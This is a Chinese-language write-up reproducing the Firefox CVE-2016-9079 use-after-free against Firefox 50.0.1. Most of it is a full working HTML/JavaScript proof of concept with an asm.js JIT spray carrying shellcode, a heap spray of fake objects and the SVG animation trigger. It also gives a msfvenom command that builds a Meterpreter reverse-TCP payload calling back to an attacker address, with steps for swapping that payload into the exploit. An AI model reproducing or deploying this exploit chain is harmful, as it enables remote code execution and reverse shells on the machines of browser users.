Firefox CVE-2016-9079复现

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CVE-2016-9079

环境

受害者

windows 7

火狐 32bit 50.0.1

攻击者

工具

shellcode2asmjs

metasploit

影响的版本

  • Firefox version < 50.0.2
  • Firefox ESR < 45.5.1
  • Thunderbird < 45.5.1

不受影响的版本

  • Firefox version = 50.0.2
  • Firefox ESR = 45.5.1
  • Thunderbird = 45.5.1

火狐浏览器上暴露出一个 JavaScript 0Day漏洞CVE-2016-9079，而且已经被用于攻击 Tor 用户。该漏洞是一个存在于SVG Animation模块中的释放后重用(UAF)漏洞，当用户使用Firefox浏览包含恶意Javascript和SVG代码的页面时，会允许攻击者在用户的机器上远程执行代码。受该漏洞影响的平台包括Windows，Mac OS以及Linux。

攻击者通过堆喷射技术在内存中大量分配填充预定义的指令从而绕过地址空间随机化（ASLR）

生成shellcode

1
msfvenom --payload windows/meterpreter/reverse_tcp lhost=192.168.43.21 lport=10000 -f python -o msf.py

shellcode 转换

1
./sc2asmjs.py -l msf.py -t static -o t.html

将生成的shellcode部分复制替换官方的shellcode

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<!DOCTYPE HTML>

<!--

    FULL ASLR AND DEP BYPASS USING ASM.JS JIT SPRAY (CVE-2017-5375)
    PoC Exploit against Firefox 50.0.1 (CVE-2016-9079 - Tor Browser 0day)

    Tested on:

    Release 50.0.1 32-bit - Windows 8.1 / Windows 10
    https://ftp.mozilla.org/pub/firefox/releases/50.0.1/win32/en-US/Firefox%20Setup%2050.0.1.exe

    Howto:

    1) serve PoC over network and open it in Firefox 50.0.1 32-bit
    2) if you don't see cmd.exe, open processexplorer and verify that cmd.exe was spawned by firefox.exe

    A successfull exploit attempt should pop cmd.exe

    Writeup: https://rh0dev.github.io/blog/2017/the-return-of-the-jit/
    
    (C) Rh0

    Jul. 13, 2017

-->

<script async>
function asm_js_module(){
    "use asm";
    /* huge jitted nop sled */
    function payload_code(){
        var val = 0; // shellcode 替换...
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        /* 3 byte VirtualAlloc RWX stager */
        val = (val + 0xa890db31)|0;
        val = (val + 0xa89030b3)|0;
        val = (val + 0xa81b8b64)|0;
        val = (val + 0xa80c5b8b)|0;
        val = (val + 0xa81c5b8b)|0;
        val = (val + 0xa8b9006a)|0;
        val = (val + 0xa8904c4c)|0;
        val = (val + 0xa8902eb1)|0;
        val = (val + 0xa85144b5)|0;
        val = (val + 0xa8b99090)|0;
        val = (val + 0xa8903233)|0;
        val = (val + 0xa89045b1)|0;
        val = (val + 0xa8514cb5)|0;
        val = (val + 0xa8b99090)|0;
        val = (val + 0xa8904e52)|0;
        val = (val + 0xa8904bb1)|0;
        val = (val + 0xa85145b5)|0;
        val = (val + 0xa8590e6a)|0;
        val = (val + 0xa84fe789)|0;
        val = (val + 0xa8086b8b)|0;
        val = (val + 0xa820738b)|0;
        val = (val + 0xa8471b8b)|0;
        val = (val + 0xa82ae349)|0;
        val = (val + 0xa890c031)|0;
        val = (val + 0xa890ad66)|0;
        val = (val + 0xa89c613c)|0;
        val = (val + 0xa8077c9d)|0;
        val = (val + 0xa890202c)|0;
        val = (val + 0xa89c073a)|0;
        val = (val + 0xa8d7749d)|0;
        val = (val + 0xa890bdeb)|0;
        val = (val + 0xa8b9006a)|0;
        val = (val + 0xa890636f)|0;
        val = (val + 0xa8906cb1)|0;
        val = (val + 0xa8516cb5)|0;
        val = (val + 0xa8b99090)|0;
        val = (val + 0xa890416c)|0;
        val = (val + 0xa89075b1)|0;
        val = (val + 0xa85161b5)|0;
        val = (val + 0xa8b99090)|0;
        val = (val + 0xa8907472)|0;
        val = (val + 0xa89056b1)|0;
        val = (val + 0xa85169b5)|0;
        val = (val + 0xa890eb89)|0;
        val = (val + 0xa83cc583)|0;
        val = (val + 0xa8006d8b)|0;
        val = (val + 0xa890dd01)|0;
        val = (val + 0xa878c583)|0;
        val = (val + 0xa8006d8b)|0;
        val = (val + 0xa890dd01)|0;
        val = (val + 0xa820458b)|0;
        val = (val + 0xa890d801)|0;
        val = (val + 0xa890d231)|0;
        val = (val + 0xa890e789)|0;
        val = (val + 0xa8590d6a)|0;
        val = (val + 0xa810348b)|0;
        val = (val + 0xa890de01)|0;
        val = (val + 0xa890a6f3)|0;
        val = (val + 0xa8900de3)|0;
        val = (val + 0xa804c283)|0;
        val = (val + 0xa890dbeb)|0;
        val = (val + 0xa8247d8b)|0;
        val = (val + 0xa890df01)|0;
        val = (val + 0xa890ead1)|0;
        val = (val + 0xa890d701)|0;
        val = (val + 0xa890d231)|0;
        val = (val + 0xa8178b66)|0;
        val = (val + 0xa81c7d8b)|0;
        val = (val + 0xa890df01)|0;
        val = (val + 0xa802e2c1)|0;
        val = (val + 0xa890d701)|0;
        val = (val + 0xa8903f8b)|0;
        val = (val + 0xa890df01)|0;
        val = (val + 0xa890406a)|0;
        val = (val + 0xa890c031)|0;
        val = (val + 0xa85030b4)|0;
        val = (val + 0xa85010b4)|0;
        val = (val + 0xa890006a)|0;
        val = (val + 0xa890d7ff)|0;
        val = (val + 0xa890c931)|0;
        val = (val + 0xa89000b5)|0;
        val = (val + 0xa890c3b1)|0;
        val = (val + 0xa890ebd9)|0;
        val = (val + 0xa82434d9)|0;
        val = (val + 0xa890e689)|0;
        val = (val + 0xa80cc683)|0;
        val = (val + 0xa890368b)|0;
        val = (val + 0xa85fc683)|0;
        val = (val + 0xa890c789)|0;
        val = (val + 0xa81e8b66)|0;
        val = (val + 0xa81f8966)|0;
        val = (val + 0xa802c683)|0;
        val = (val + 0xa802c783)|0;
        val = (val + 0xa8901e8a)|0;
        val = (val + 0xa8901f88)|0;
        val = (val + 0xa803c683)|0;
        val = (val + 0xa801c783)|0;
        val = (val + 0xa803e983)|0;
        val = (val + 0xa89008e3)|0;
        val = (val + 0xa890cceb)|0;
        val = (val + 0xa890e0ff)|0;
        val = (val + 0xa824248d)|0;
        /* $ msfvenom --payload windows/exec CMD=cmd.exe EXITFUNC=seh */
        val = (val + 0xa882e8fc)|0;
        val = (val + 0xa8000000)|0;
        val = (val + 0xa8e58960)|0;
        val = (val + 0xa864c031)|0;
        val = (val + 0xa830508b)|0;
        val = (val + 0xa80c528b)|0;
        val = (val + 0xa814528b)|0;
        val = (val + 0xa828728b)|0;
        val = (val + 0xa84ab70f)|0;
        val = (val + 0xa8ff3126)|0;
        val = (val + 0xa8613cac)|0;
        val = (val + 0xa82c027c)|0;
        val = (val + 0xa8cfc120)|0;
        val = (val + 0xa8c7010d)|0;
        val = (val + 0xa852f2e2)|0;
        val = (val + 0xa8528b57)|0;
        val = (val + 0xa84a8b10)|0;
        val = (val + 0xa84c8b3c)|0;
        val = (val + 0xa8e37811)|0;
        val = (val + 0xa8d10148)|0;
        val = (val + 0xa8598b51)|0;
        val = (val + 0xa8d30120)|0;
        val = (val + 0xa818498b)|0;
        val = (val + 0xa8493ae3)|0;
        val = (val + 0xa88b348b)|0;
        val = (val + 0xa831d601)|0;
        val = (val + 0xa8c1acff)|0;
        val = (val + 0xa8010dcf)|0;
        val = (val + 0xa8e038c7)|0;
        val = (val + 0xa803f675)|0;
        val = (val + 0xa83bf87d)|0;
        val = (val + 0xa875247d)|0;
        val = (val + 0xa88b58e4)|0;
        val = (val + 0xa8012458)|0;
        val = (val + 0xa88b66d3)|0;
        val = (val + 0xa88b4b0c)|0;
        val = (val + 0xa8011c58)|0;
        val = (val + 0xa8048bd3)|0;
        val = (val + 0xa8d0018b)|0;
        val = (val + 0xa8244489)|0;
        val = (val + 0xa85b5b24)|0;
        val = (val + 0xa85a5961)|0;
        val = (val + 0xa8e0ff51)|0;
        val = (val + 0xa85a5f5f)|0;
        val = (val + 0xa8eb128b)|0;
        val = (val + 0xa86a5d8d)|0;
        val = (val + 0xa8858d01)|0;
        val = (val + 0xa80000b2)|0;
        val = (val + 0xa8685000)|0;
        val = (val + 0xa86f8b31)|0;
        val = (val + 0xa8d5ff87)|0;
        val = (val + 0xa80efebb)|0;
        val = (val + 0xa868ea32)|0;
        val = (val + 0xa8bd95a6)|0;
        val = (val + 0xa8d5ff9d)|0;
        val = (val + 0xa87c063c)|0;
        val = (val + 0xa8fb800a)|0;
        val = (val + 0xa80575e0)|0;
        val = (val + 0xa81347bb)|0;
        val = (val + 0xa86a6f72)|0;
        val = (val + 0xa8ff5300)|0;
        val = (val + 0xa86d63d5)|0;
        val = (val + 0xa8652e64)|0;
        val = (val + 0xa8006578)|0;
        val = (val + 0xa8909090)|0;

        return val|0;
    }
    return payload_code 
}
</script>

<script>
function spray_asm_js_modules(){
    sprayed = []
    for (var i=0; i<= 0x1800; i++){
        sprayed[i] = asm_js_module()
    }
}

/* heap spray inspired by skylined */
function heap_spray_fake_objects(){
    var heap = []
    var current_address = 0x08000000
    var block_size = 0x1000000
    while(current_address < object_target_address){
        var heap_block = new Uint32Array(block_size/4 - 0x100)
        for (var offset = 0; offset < block_size; offset += 0x100000){

            /* fake object target = ecx + 0x88 and fake vtable*/
            heap_block[offset/4 + 0x00/4] = object_target_address
            /* self + 4 */
            heap_block[offset/4 + 0x14/4] = object_target_address
            /* the path to EIP */
            heap_block[offset/4 + 0x18/4] = 4
            heap_block[offset/4 + 0xac/4] = 1
            /* fake virtual function --> JIT target */
            heap_block[offset/4 + 0x138/4] = jit_payload_target 
        }
        heap.push(heap_block)
        current_address += block_size
    }
    return heap
}

/* address of fake object */
object_target_address = 0x30300000

/* address of our jitted shellcode */
jit_payload_target = 0x1c1c0054

/* ASM.JS JIT Spray */
spray_asm_js_modules()

/* Spray fake objects */
heap = heap_spray_fake_objects()

/* -----> */
/* bug trigger ripped from bugzilla report */
var worker = new Worker('data:javascript,self.onmessage=function(msg){postMessage("one");postMessage("two");};');
worker.postMessage("zero");
var svgns = 'http://www.w3.org/2000/svg';
var heap80 = new Array(0x1000);
var heap100 = new Array(0x4000);
var block80 = new ArrayBuffer(0x80);
var block100 = new ArrayBuffer(0x100);
var sprayBase = undefined;
var arrBase = undefined;
var animateX = undefined;
var containerA = undefined;
var offset = 0x88 // Firefox 50.0.1

var exploit = function(){
    var u32 = new Uint32Array(block80)

    u32[0x4] = arrBase - offset;
    u32[0xa] = arrBase - offset;
    u32[0x10] = arrBase - offset;

    for(i = heap100.length/2; i < heap100.length; i++)
    {
      heap100[i] = block100.slice(0)
    }

    for(i = 0; i < heap80.length/2; i++)
    {
      heap80[i] = block80.slice(0)
    }

    animateX.setAttribute('begin', '59s')
    animateX.setAttribute('begin', '58s')

    for(i = heap80.length/2; i < heap80.length; i++)
    {
      heap80[i] = block80.slice(0)
    }

    for(i = heap100.length/2; i < heap100.length; i++)
    {
      heap100[i] = block100.slice(0)
    }

    animateX.setAttribute('begin', '10s')
    animateX.setAttribute('begin', '9s')
    containerA.pauseAnimations();
}

worker.onmessage = function(e) {arrBase=object_target_address; exploit()}
//worker.onmessage = function(e) {arrBase=0x30300000; exploit()}

var trigger = function(){
    containerA = document.createElementNS(svgns, 'svg')
    var containerB = document.createElementNS(svgns, 'svg');
    animateX = document.createElementNS(svgns, 'animate')
    var animateA = document.createElementNS(svgns, 'animate')
    var animateB = document.createElementNS(svgns, 'animate')
    var animateC = document.createElementNS(svgns, 'animate')
    var idA = "ia";
    var idC = "ic";
    animateA.setAttribute('id', idA);
    animateA.setAttribute('end', '50s');
    animateB.setAttribute('begin', '60s');
    animateB.setAttribute('end', idC + '.end');
    animateC.setAttribute('id', idC);
    animateC.setAttribute('end', idA + '.end');
    containerA.appendChild(animateX)
    containerA.appendChild(animateA)
    containerA.appendChild(animateB)
    containerB.appendChild(animateC)
    document.body.appendChild(containerA);
    document.body.appendChild(containerB);
}

window.onload = trigger;
setInterval("window.location.reload()", 3000)
/* <----- */

</script>
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